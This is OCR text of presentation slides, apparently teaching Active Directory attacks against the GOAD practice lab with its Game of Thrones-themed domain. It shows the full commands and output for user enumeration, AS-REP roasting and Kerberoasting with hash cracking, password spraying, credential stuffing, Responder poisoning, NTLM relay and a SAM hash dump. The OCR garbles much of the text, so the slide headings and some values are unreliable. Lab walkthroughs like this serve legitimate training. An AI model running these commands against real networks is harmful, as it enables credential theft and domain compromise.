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HMONYMOQUS RCCESS

I_—ikal'i@ kali)-[«~]
% crackmapexec smb 192.168.56.11 --users

SMB 192.168.56.11 445 WINTERFELL [*] Windows 18.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBvl:False)
SMB 192.168.56.11 445 WINTERFELL [-] Error enumerating domain users using dc ip 192.165.56.11: NTLM needs domain\username and a password

SMB 192.168.56.11 445 WINTERFELL [*] Trying with SAMRPC protocol

SMB 192.168.56.11 445 WINTERFELL [+] Enumerated domain user(s)

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\Guest Built-in account for guest access to the computer/domain
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\arya.stark Arya Stark

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\sansa.stark Sansa Stark

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms. local\brandon.stark Brandon Stark

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\rickon.stark Rickon Stark

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms . local\hodor Brainless Giant

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\jon.snow Jon Snow

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\samwell.tarly Samwell Tarly (Password : Heartsbane)

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.localyjeor.mormont Jeor Mormont

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\sql_svc sql service

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.localy_ VMware Conv_SA Dedicated User to run VMware Converter Standalone server jobs.
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HMONYMOQUS RCCESS

north.sevenkingdoms. localyjon.snow Jon Snow
north.sevenkingdoms.locali\samwell.tarly Samwell Tarly (Password : Heartsbane)
north.sevenk ingdoms. local\jeor.mormont Jeor Mormont
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north.sevenkingdoms.local Properties

General Managed By Object Securty Attibute Editor
(Group or user names:
22 Administrators (NORTH\Administrators)
b4 4 Pre-Windows 2000 Compatible Access (NORTH \Pre-Windows ...
2 Incoming Forest Trust Builders (NORTHIncoming Forest Trust ..
SR ANONYMOUS LOGON
“® ENTERPRISE DOMAIN CONTROLLERS

Remove
ig¥g’

Pemissions fnr F'r---' indows 2000
Compatible A Allow

\ead domain pa & lockout policies
Write domain password & lockout policies
Read Cther domain parameters foruse by 5.
Write Cther domain parameters for use by SA..
Special pemissions
cial permissions or advanced settings, click

i - —
Advanced
Advanced.

HIGH=_"ORE ==00

Pre-Windows 2000 Compatible Access Properties

Ohject Security Attribute Editor
General Members Member Of Managed By

Active Directory Domain Services Folder

i FANONYMOUS LOGON NT AUTHORITY

;I_: Autherticated Users NT AUTHORITY

NEveyore

Remaove

Y e RS

north.sevenkingdoms.local Properties

General Managed By Object Securty Attibute Editor
(Group or user names:
. Administrators (NORTH \Administrators)
32 Pre-Windows 2000 Compatible Ac MORTH Pre-Windows ...
% Incoming Forest Trust Builders (NORTHIncoming Forest Trust ..

FE A ANONYMOUS LOGON

2% ENTERPRISE DOMAIN CONTROLLERS

Remove

Pemissions for ANOMNYMOLS LOGON Allow

Full control

Read

Write

Create all child objects
Delete all child objects

For special pemissions or advanced settings, click

i _ —
Advanced
Advanced.

'ER =
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I_—i kalis kali)-[w~]
% crackmapexec smb 192.168.56.11 --users
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBvl:False)
[-] Error enumerating domain users using dc ip 192.168.56.11: NTLM needs domain\username and a password

SMB 192.168.56.11 445 WINTERFELL
SMB 192.168.56.11 445 WINTERFELL [*] Trying with SAMRPC protocol

[:;ihaliﬁ kali)-[~]
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USER LIST

Cast & Characters

Introduced in Season 1

Robert Baratheon

Jaime Lannister Dasnarys Targaryen Viearys Targaryan lan Snow
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USER LISTS

I_—$I; kalis kali)-[~/GOAD]

§ cat got_users.txt 4 PEARATHEOH 4 PEARATHEOH
tyrion.lannister T._AMNMISTER TLAMNMISTER
EE{:?;}EEQ;?” C._AMNMISTER CLAMNMISTER
jaime?l::mni_ster —.=THRE L= THRFE
daenerys.targaryen SO J=OL
viserys.targaryen

jon.snow % EARPATHEOH.RPOEERT

robb. stark LAMNMISTER. TYRIOHN

sansa.stark

_AMNMNI=TER.CERZ=EI
=THRFE.CATELYHM
=00
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USER LISTS

[:—(kaliﬁ kali)-[~/G0AD]

% nmap -p 88 --script=krb5-enum-users --script-args="krbS-enum-users.realm='north.sevenkingdoms.local',userdb=got users.txt" 192.168.56.11
Starting Nmap 7.93 ( https://nmap.org ) at 2024-86-26 12:03 CDT

Nmap scan report for north.sevenkingdoms.local (192.168.56.11)

Host is up (0.00059s latency).

PORT STATE SERVICE

88/tcp open kerberos-sec

| krb5-enum-users:

| Discovered Kerberos principals

| robb.stark@north.sevenkingdoms.local

| rickon.stark@north.sevenkingdoms.local
| arya.stark@north.sevenkingdoms. local

| catelyn.stark@north.sevenkingdoms . local
| sansa.stark@north.sevenkingdoms . local

| hodor@north.sevenk ingdoms . local

| samwell.tarly@north.sevenkingdoms.local
| jon.snow@north.sevenkingdoms . local

| jeor.mormont@north.sevenkingdoms.local

Nmap done: 1 IP address {1 host up) scanned in 0.60 seconds
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Microsoft

=ER LIS

Home About

People you may know

Cedric Pomerlee - 2n¢

&

Phil Urban - 2nc
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USER LISTS

% KEDC_ERRP_C_PRIMCIPAL_IUMNEMOLWRN gikaﬂi@ kali)-[~/GOAD]

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enun

& JUF_DONT _RPECUIRE_FPREAUTH Starting Nmap 7.93 ( https://nmap.org ) at 2024-86-26 12:63 CDT
* KDC _ERFR_PREAUTH_RECUIRED HEE@ i:azpr?g?géﬂzg; _ng’é:é:r?*:renkmgdnms.lr::::al (192.168.56.11)

PORT STATE SERVICE

88/tcp open kerberos-sec

| krb5-enum-users:

| Discovered Kerberos principals

| robb.stark@north.sevenkingdoms.local

| rickon.stark@north.sevenkingdoms.local
| arya.stark@north.sevenkingdoms.local

| catelyn.stark@north.sevenkingdoms.local
| sansa.stark@north.sevenkingdoms.local
|
|
|
|

hodor@north.sevenkingdoms . Local
samwell.tarly@north.sevenkingdoms.local
jon.snow@north.sevenkingdoms.local
jeor.mormont@north.sevenkingdoms.local

Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
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USER LISTS

& =aMACCOUMTHAME '= EMAIL % POEE.STARK
& HOM-STAMDAPD COMEIMNATIONS % S-ROEE.STARK
$ HU_TIPLE TRARILIMG DIGITE & EOEE.STARK1EZ=E




__ - X X X X HIGHSCORE Z=@0 Y F_C0VER

HERERFRQREST

% EEREEROE PRE-AUTHEMTICATION

[:—ikaliﬁ kali)-[~/GOAD ]
4% impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile got valid north.txt
Impacket vB.108.8 - Copyright 2822 SecureAuth Corporation

[-] User catelyn.stark doesn't have UF_DONT _REQUIRE PREAUTH set

[-] User jon.snow doesn't have UF_DONT REQUIRE PREAUTH set
$krbsasrep$23$brandon.stark@NORTH.SEVENKINGDOMS . LOCAL : 7e95a6b869ee158462a0014215086dc74$f009¢che
b3358378c7d11al246be6cofod4758904d12balgbasbefdbdadzb227987btb17674c2a147a8be8e751d80bb3e2c9225
aa704e096cb6afalb233965188b07a22111594b8cd714054ef820a41417d83384cb582389fc17e8abab5e087a88b363
1040a78bdfag9bbai?

[-] User hodor doesn't have UF_DONT _REQUIRE PREAUTH set

Kerberos SessionError: KDC _ERR C PRINCIPAL UNKNOWN(Client not found in Kerberos database)
User jeor.mormont doesn't have UF_DONT REQUIRE PREAUTH set

User arya.stark doesn't have UF _DONT_REQUIRE PREAUTH set

User sansa.stark doesn't have UF DONT _REQUIRE PREAUTH set

User rickon.stark doesn't have UF_DONT REQUIRE PREAUTH set

User samwell.tarly doesn't have UF _DONT REQUIRE PREAUTH set

rrrarrDorrar—
|
| N |y S [y Sy S—  — —
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HERERFRQREST

% Ha=sHCAT

—(kalis kali)-[~/G0OAD]
—4% hashcat -m 18200 --force -a 0@ asreproast.txt rockyoutest.txt
hashcat (v6.2.6) starting

tkrbSasrep%$23%brandon.stark@ORTH. SEVENKINGDOMS . LOCAL : 7e95a6b86
b3358378c7d11a1240be6cOtRd4758904d12ba18ba6bafdbdad2b227987bTb 17
aa704ef06ch6afalb233965188b072221T11594b8cd714054ef820a4T417d833
1040a78bdfag9bba37: iseedeadpeople

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
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HERERFRQREST

% EFEREERDOZ PRE-AUTHERWTICATION

yginolo Y s F_AYVER

brandon.stark Properties

Published Cerificates Member Of  Password Replication Dialin ~ Object
Security Environment Sessions Remote control
Remote Desktop Services Profile COM+ Attribute Editor

General Address Account Prafile Telephones Organization

Iser logon name:

e

M.

User logon name (pre-Windows 2000):

MOBTH* brandan stark

Logon Hours... Log On To...

|:| Unlock accourt

Account options:

[] Use only Kerberos DES encryption types for this account
[] Thiz account supports Kerberos AES 128 bit encryption.

[] This account supports Kerberos AES 256 bit encryption.
[+] Do not require Kerberos preauthentication

Account expires

[ =
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HERERFRQREST

% EERFEEROE PRE-AUTHEMTICATION

[:—Lkali@ kali)-[~/GOAD ]
% impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile got valid north.txt
Impacket v8.108.8 - Copyright 2822 SecureAuth Corporation

] User catelyn stark doesn't have UF DONT REQUIRE PREAUTH set

User jon.snow doesn't have UF_DONT _REQUIRE PREAUTH set

User brandon.stark doesn't have UF_DONT REQUIRE PREAUTH set

User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set

Herberns SessionError: KDC_ERR_C_PRINCIPAL UNKNOWN{Client not found in Kerberos database)
User jeor.mormont doesn't have UF _DONT REQUIRE_PREAUTH set

User arya.stark doesn't have UF _DONT REQUIRE PREAUTH set

User sansa.stark doesn't have UF DONT _REQUIRE PREAUTH set

User rickon.stark doesn't have UF_DONT REQUIRE PREAUTH set

User samwell.tarly doesn't have UF _DONT REQUIRE PREAUTH set

Il il
|
| N |y I [y S S—y S— S— ) S— S—  —



___ BB 3 8 8 8 ;

HIGH=_"ORE ==00

Y s F_AYER Z

FPRESSWORD RATTHCORS

& pAsSsSWoRD BEUSE
& pAassSWoRD SRPEAY

[:—ikaliﬁ kali)-[~/GOAD ]
$

crackmapexec smb 192.168.56.

SMB 192.168.56.11 445
SMB 192.168.56.11 445
SMB 192.168.56.11 445
SME 192.168.56.11 445
SMB 192.168.56.11 445
sMB 192.168.56.11 445
SMB 192.168.56.11 445
SMB 192.168.56.11 445
SMB 192.168.56.11 445
SMB 192.168.56.11 445

[:—(kali@ kali)-[~/GOAD]
$

crackmapexec smb 192.168.56.

SMB 192.168.56.11 445
SMB 192.168.56.11 445
sMB 192.168.56.11 445
SMB 192.168.56.11 445
SMB 192.168.56.11 445
SMB 192.168.56.11 445
SMB 192.168.56.11 445
SME 192.168.56.11 445
SMB 192.168.56.11 445
sMB 192.168.56.11 445

11

11

-u got_valid north.txt -p 'Heartsbane' --continue-on-success

WINTERFELL [*] Windows 18.8 Build 17763 x64 (name:WINTERFELL) {(domain:north.sevenkingdoms.]
WINTERFELL [ -] north.sevenkingdoms.local\catelyn.stark:Heartsbane STATUS LOGON_FAILURE
WINTERFELL [-] north.sevenkingdoms.local\jon.snow:Heartsbane STATUS LOGON_ FAILURE
WINTERFELL [-] north.sevenkingdoms.local\brandon.stark:Heartsbane STATUS LOGON_FAILURE
WINTERFELL [-] north.sevenkingdoms.local\hodor:Heartsbane STATUS LOGON_ FAILURE

WINTERFELL [-] north.sevenkingdoms.local\jeor.mormont:Heartsbane STATUS LOGON_ FAILURE
WINTERFELL [-] north.sevenkingdoms.local\arya.stark:Heartsbane STATUS LOGON_ FAILURE
WINTERFELL [-] north.sevenkingdoms.local\sansa.stark:Heartsbane STATUS LOGON_FAILURE
WINTERFELL [ -] north.sevenkingdoms.local\rickon.stark:Heartsbane STATUS LOGON_FAILURE
WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartshane

-u got_valid north.txt -p 'iseedeadpeople' --continue-on-success

WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.]
WINTERFELL [-] north.sevenkingdoms.local\catelyn.stark: iseedeadpeople STATUS LOGON_ FAILURE
WINTERFELL [-] north.sevenkingdoms.local\jon.snow: iseedeadpeople STATUS LOGON_ FAILURE
WINTERFELL [+] north.sevenkingdoms.local\brandon.stark: iseedeadpeople

WINTERFELL [-]1 north.sevenkingdoms.local\hodor: iseedeadpeople STATUS_LOGON_FAILURE
WINTERFELL [ -] north.sevenkingdoms.locall\jeor.mormont: iseedeadpeople STATUS LOGON FAILURE
WINTERFELL [-] north.sevenkingdoms.local\arya.stark:iseedeadpeople STATUS LOGON_FAILURE
WINTERFELL [-] north.sevenkingdoms.local\sansa.stark: iseedeadpeople STATUS LOGON_FAILURE
WINTERFELL [-] north.sevenkingdoms.local\rickon.stark: iseedeadpeople STATUS LOGON_ FAILURE
WINTERFELL [-] north.sevenkingdoms.local\samwell.tarly: iseedeadpeople STATUS LOGON FAILURE
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HIGH=_"ORE ==00

Y s F_AYER Z

FPRESSWORD RATTHCORS

& CREDEMTIAL STUFFIMG

G
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

56.
56.
56.
56.
56.
56.
56.
56.
56.
56.

(kali® kali)-[~/GOAD]
crackmapexec smb 192.168.56.11 -u got_wvalid north.txt -p got valid north.txt --no-bruteforce --continue-on-success
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

11
11
11
11
11
11
11
11
11
11

445
445
445
445
445
445
445
445
445
445

WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL

[*]

e i

1 (T T R T T |
PN N N TN T Y [ T Y

Windows 18.8 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.

north.
north.
north.
north.
north.
north.
north.
north.
north.

sevenk ingdoms
sevenk ingdoms
sevenk ingdoms
sevenk ingdoms
sevenk ingdoms
sevenk ingdoms
sevenk ingdoms
sevenk ingdoms
sevenk ingdoms

.local\catelyn.stark:catelyn.stark STATUS LOGON_ FAILURE
.local\jon.snow:jon.snow STATUS LOGON_FAILURE
.local\brandon.stark:brandon.stark STATUS LOGON_FAILURE
.localvhodor:hodor

.local\jeor.mormont:jeor.mormont STATUS_ LOGON_FAILURE
.local\arya.stark:arya.stark STATUS LOGON_FAILURE
.local\sansa.stark:sansa.stark STATUS LOGON_FAILURE
.local\rickon.stark:rickon.stark STATUS_LOGON_FAILURE
.localvsamwell.tarly:samwell.tarly STATUS LOGON_ FAILURE
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FPRESSWORD RATTHCORS

4 passwWoRD POLICY

[:—ikaliﬁ kali)-[~/GOAD ]
4 crackmapexec smb 192.168.56.11 -u samwell.tarly -p Heartshane --pass-pol

[*] Windows 16.0 Build 17763 x64 (name:WINTERFELL )
[+] north.sevenkingdoms.local\samwell.tarly:Heartsl
[+] Dumping password info for domain: NORTH
Minimum password length: 5

Password history length: 24

Maximum password age: 311 days 2 minutes

SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB

192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .
192 .

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

26 .
26 .
26 .
26 .
26 .
26 .
26 .
26 .
o6 .
o6 .
o6 .
o6 .
o6 .
o6 .
o6 .
o6 .
o6 .
ob.
ob.
ob.

11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445

WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL

Password Complexity Flags: 6000888

Domain
Domain
Domain
Domain
Domain
Domain

Refuse Password Change: @
Password Store Cleartext: @
Password Lockout Admins: @
Password No Clear Change: @
Password No Anon Change: @
Password Complex: ©

Minimum password age: 1 day 4 minutes
Reset Account Lockout Counter: 5 minutes
Locked Account Duration: 5 minutes
Account Lockout Threshold: 5

Forced Log

off Time: Not Set
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Y s F_AYER Z

FPRESSWORD RATTHCORS

& OCCOUNT _OCKOUT

s
SMB
SMB
sMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

26.
26,
26.
26.
26.
26.
26,
26.
26.
26.

(kalis kali)-[~/GOAD]
crackmapexec smb 192.168.56.11 -u arya.stark -p got _valid north.txt
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

11
11
11
11
11
11
11
11
11
11

445
445
445
445
445
445
445
445
445
445

WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL
WINTERFELL

[*]

| Y e N s Y s 1 i 1 s 1 i 1 i N |

| N [ S IS U Sy Sy S_—y S_—y _—

Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local)

north.
north.
north.

north

north

sevenk ingdoms
sevenk ingdoms
sevenk ingdoms

.sevenk ingdoms
north.
north.
north.

sevenk ingdoms
sevenk ingdoms
sevenk ingdoms

.sevenk ingdoms
north.

sevenk ingdoms

.local\arya.
-local\arya.
.local\arya.
.localiharya.
.local\arya.
.local\arya.
.local\arya.
.localiharya.
.local\arya.

stark:
stark:
stark:
-hodor STATUS_LOGON_FAILURE
stark:
stark:
stark:

stark

stark

catelyn.stark STATUS LOGON_FAILURE
jon.snow STATUS LOGON_FAILURE
brandon.stark STATUS LOGON_FATILURE

jeor.mormont STATUS LOGON_FAILURE
arya.stark STATUS ACCOUNT LOCKED OUT
sansa.stark STATUS_ACCOUNT_LOCKED_OUT

:rickon.stark STATUS ACCOUNT LOCKED OUT
stark:

samwell.tarly STATUS ACCOUNT LOCKED OUT
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FPRESSWORD RATTHCORS

4 EAD PASSILORD COUMT

R kali® kali)-[~/GOAD]
$

crackmapexec smb 192.168.56.11 -u samwell.tarly -p Heartsbane --users

SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenki
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane

SMB 192.168.56.11 445 WINTERFELL [+] Enumerated domain user(s)

SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.localy  VMware Conv_SA_ badpwdcount: @
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms. localiysgl svc badpwdcount: 6
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\jeor.mormont badpwdcount: 4
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.locali\samwell.tarly badpwdcount: @
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\jon.snow badpwdcount: 4
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms . local\hodor badpwdcount: @
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms. local\rickon.stark badpwdcount: 4
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms. local\brandon.stark badpwdcount: 1
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\sansa.stark badpwdcount: 4
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\robb.stark badpwdcount: @
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\catelyn.stark badpwdcount: 4
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\eddard.stark badpwdcount: ©
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\arya.stark badpwdcount: 5
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REREERQRETING

% ACCOUNTSE WITH SERVICEFRPRIMNCIPALHAME [SPHM]

|_—[ kali® kali)-[~/GOAD]
% impacket-GetUserSPNs -request -dc-ip 192.168.56.11 'north.sevenkingdoms.local/hodor:hodor!
Impacket v0.10.8 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName Name Memberof

Delegation
CIFS/winterfell.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkin
:56:09.230449 constrained
HTTP/thewall.north.sevenkingdoms. local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkin
:56:09.230449 constrained
MSSQLSve/castelblack.north.sevenkingdoms . local sql_swvc

:22:15.613424
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sqgl_swvc
:22:15.613424

[-] cCache file 1is not found. Skipping...
$krb5tgs$23%*jon.snow$NORTH. SEVENKINGDOMS . LOCAL%north.sevenk ingdoms . local/jon.snow*$85fc279d965a0484ecbhed90
9a8932c24e50T03bac46874a5753760bc443e74ea3220c1b1bf1c33772b3309cf5cdalbs9f6039chb89f8c1ele32f5bd73ef40bc8T74
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REREERQRETING

% HAsSHCAT

—(kalis kal1i)-[~/GOAD ]
—4% hashcat -m 131080 --force -2 0 kerberoast.txt rockyoutest.txt
hashcat (v6.2.6) starting

$krbstgs$234*jon.snow$NORTH . SEVENKINGDOMS . LOCAL%$north.sevenk ingdoms . loc
9a8932c24e5601T03bacd6874a5753760bcd43e74ea3220clblbf1c33772b3309c5cdalk
c9bd49063a50ed47725bdf68a736c45281T11d68co61T12868b71323543ad5de9d89103cE
ac3508edcd9dcfe5Teled5e0203385cce3Bed 5974715863 1Tdo90735d3263aacdb3bocos
teec6c2t970at8cd1a494b9c5e7eadf2986bdfed737aa02e1292tfc49bT6528ad65a72¢
c6343b9ta7c7ed0nbdo199T6e4866de04494d33400355Td59ae7051204a8b4d33at404:
3d7dads5ct28c26ctae2852580b731540ctP310941865d5at88d43dbd4t7746734c62681
6728alfdstdflbacc91855e82tdd853c7ceecaads717T6el13Tabecd0ag818718619e330ac
8de8039d39cdd7bd52e8b7792a3a7bd73239b30045a40534455dedf83125598424cdes 74
fdsdeb364648b41dc2509625bc7c5cdff1ef7581bal71t85cfach3n1d34b19b3957291¢
946fcb3519f2df5656808b5T0batd67205667120c1759cd 1195403 f9e52ba0felf2d47t
7Jadc73badf5d433b4do76eec6T1tb76241T30db7boestat8331044781895d1b6baz8fsbe
1d7149725ebe70538a3a8cT38ed300dd660dodfatbobet1647fe249967d71dT7149a96¢
elel73e9e7f7a27: iknownothing
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HIGH=_"ORE ==00

REREERQRETING

% ACCOUNTSE WITH SERVICEFRPRIMNCIPALHAME [SPHM]

PS C:\Users‘wvagrant> Get-ADUser -Filter * -Properties ServicePrincipalName | Where-Object ServicePrincipalMName

DistinguishedNames
Enabled

GivenName

Name

ObjectClass
ObjectGUID
SamAccountName

SID
Surname
UserPrincipalMames

Distinguishedame
GivenName

Name

ObjectClass
ObjectGUID
SamAccountName

SID
Surname
UserPrincipalMames

Distinguisheddame
GivenName

Name

ObjectClass
ObjectaUID
SambccountName

5ID
Surname
UserPrincipalMNams

: CN=krbtgt,CN=Users,DC=north,DC=sevenkingdoms,DC=1ocal
: False

: krbtgt

: user

! C@aieel5-389+-4887-81b2-b2bedccdlafe
: krbtgt

servicePrincipalMame :
: 5-1-5-21-2127814747-1574567255-3873579916-582

{kadmin/changepw}

: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=1ocal
: Jon

: jon.snow

: user

: 1bd3@268-ba75-4abc-8c8l-cec98dc@naa93

: jon.snow

servicePrincipalName :
: 5-1-5-21-2127814747-1574567255-3873579916-1118
: Snow

{CIFS/fwinterfell.north.sevenkingdoms.local, HTTP/thewall.north.sevenkingdoms.local}

: CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=1local
: sgl

1 sql_swvc

: user

: 9254686d-b2c2-4211-adae-792c97elded9

: sql_swc

servicePrincipalMame :

fMssQLsve/castelblack.north.sevenkingdoms . local,
Mss0Lsvc/castelblack.north. sevenkingdoms.local ;14333

r 5-1-5-21-2127814747-1574567255-3873579916-1121
: serwvice

Y. F_SYER

=



__ - X X X X HIGHSCORE Z=@0 Y F_C0VER

REREERQRETING

% ACCOUNTSE WITH SERVICEFRPRIMNCIPALHAME [SPHM]

[:—ikaliﬁ kali)-[~/GOAD]
4 impacket-GetUserSPNs -request -dc-ip 192.168.56.11 'north.sevenkingdoms.local/hodor:hodor’
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName Name Member0f PasswordLastSet
MSSQLSvec/castelblack.north.sevenkingdoms. local sql_svc 2024-05-86 16:51:32.08
MSSQLSvec/castelblack.north.sevenkingdoms.local: 1433 sqgl _svc 2024-05-86 16:51:32.08.

[-] CCache file is not found. Skipping...

$krbstgs$23%$*sql svc$NORTH.SEVENKINGDOMS.LOCAL$north.sevenkingdoms.local/sql_svc*$f9832c7ced a7
592a341fa27720936F15743f68ff59¢c8c71b3141a169d11959f11f8caa19219c958be786ad85T350971080239456C 3
b5ec7c3dee58851278cad663aeaal?252ceachbe3c8860a9973c2800e1898357159eT3512647bcfefof6401917264bd:
704467a3d63d274f50603alecc39dbf17314a15bd2c576268a30c88626b46752d21fdd110b00799c788a01b8e1dd59.
55fcc766Thes566691d0bd3cdd4548fee7facOnSefc31bbds1cfin1e307443768027F1F818039615a84510193fc31c3
aa35245d8dabb536a55bbd24140f216469a095e73dbodd8272121540b1a27fe27c60Tdd4T6e8c220T199a48febcadal
3a30231c1502f613a0b820e979541d2db3f18e3ffo9c2e13cf7303a4d22f5bec29941608585¢c629420512abco2fdf2dol
115dbe574057bb21dd958a4c300a218b6R47c662aT63232710734d66209827487871303ef54e75e09138b2cb95e8a0 15!
bc527abo6f457797253dfefbf654a25b2c22c3d59d8c8bdsn68df4a66ea77dbfc79713a311a95b49a86F8dcE4230e1
a2496a6925b73b069a751782accob205fcd30191c77bTRe36c8e24e25218415d8620def2b2841b488c871aa6atcegl2;
fodccd116e92e2799435a6bcd01d89c7374cb48dasbbodacs5da707fd42f62166Tc8dagth768d26311ffacd6632b09S!
1915d0cddebce2fa99acddbbaofeasthaz27f0247d16fh939234e09e75b052587603d35F115e1a1f570f1d1269bb5ab:
3ffc23acchecPeB70e2at35620bb3bb6el17a76663e04fa70d32b5434c472ddcd44c9463eb3f6ceale71d7374a395b20h:
fcf93ce310557
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UM PRHTH RHTTRCRS

(kali® kali)-[~/GOAD ]
4 sudo responder -I ethil
‘sudo] password for kali:

[SME] NTLMv1-SSP Client : fefB::cldf:48e3:6afd:4072
[SME] NTLMv1-SSP Username : NORTH\robb.stark
[SME] NTLMv1-SSP Hash - robb.stark::NORTH:B76ADC7419BC93ECORAALEAAARAAAAEAARAAR

[*] [MDNS] Poisoned answer sent to 192.168.56.11  for name Bravos.local
[*] [MDNS] Poisoned answer sent to fef80::cldf:48e3:6afd:4072 for name Bravos.local

[SME] NTLMv1-55P Client : TeB0::cldf:48e3:6atd: 4072
[SME] NTLMv1-SSP Username : NORTH\eddard.stark
[SME] NTLMv1-SSP Hash : eddard.stark: :NORTH:EG50770BDS38712400000000000000000¢

[*] [MDNS] Poisoned answer sent to 192.168.56.11 for name Meren.local
[*] [MDNS] Poisoned answer sent to fe80::cldf:48e3:6afd:4672 for name Meren.local



__ - X X X X HIGHSCORE Z=@0 Y F_C0VER

UM PRHTH RHTTRCRS

% Ha=sHCAT

—(kalis kali)-[~/GOAD ]
—% hashcat -m 5588 --force -z 0@ responder.txt rockyoutest.txt

hashcat (v6.2.6) starting

robb.stark::NORTH:b76adc7419bc93ec00000000000000006000000000000000:b4a38611b5e8efd30135¢ca2332a9668e45ed1616522187a4:1122334455667788::sexywolfy

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 5580 (NetNTLMvl / NetNTLMvI1+ESS)
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UM PRHTH RHTTRCRS

& HNTLHMEELOY'-

—(kalis kali)-[~]

—4 impacket-ntlmrelayx -t 192.168.56.22 -smb2support -socks
Impacket vB.18.0 - Copyright 2022 SecureAuth Corporation

[*] Servers started, waiting for connections
Type help for list of commands

ntlmrelayx= [*] SMBD-Thread-9 (process request thread): Received connection from 192.168.56.11, attacking target smb://192.168.56.22
[*] Authenticating against smb://192.162.56.22 as NORTH/EDDARD.STARK SUCCEED

[*] SOCKS: Adding NORTH/EDDARD.STARK@192.168.56.22(445) to active SOCKS connection. Enjoy

Protocol Target Username AdminStatus Port

SMB 445



__ - X X X X HIGHSCORE Z=@0 Y F_C0VER

UM PRHTH RHTTRCRS

& PRORYCHAINS

I_—i kalis kali)-[~]
4 proxychains impacket-secretsdump -no-pass 'NORTH/EDDARD.STARK@192.168.56.22'



__ - X X X X HIGHSCORE Z=@0 Y F_C0VER

UM PRHTH RHTTRCRS

& SECRETS DUMP

[proxychains] Strict chain ... 127.08.0.1:1088 ... 192.168.56.22:445 ... OK
[*] Service RemoteRegistry 1s 1in stopped state

[*#] Starting service RemoteRegistry

[*] Taroet svstem bootKev: B8x3b62628T8a5afedda3ag11188ffcense

[*] Dumping local SAM hashes uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51104eeaad3b435b51404ee:dbd13elcde338284acd4e0874f7deke-
Guest:501:aadibdisbsl4bdeecaadibd3shs1404ee:31d6cTefd16ae931b73c59d720c089cO: 1
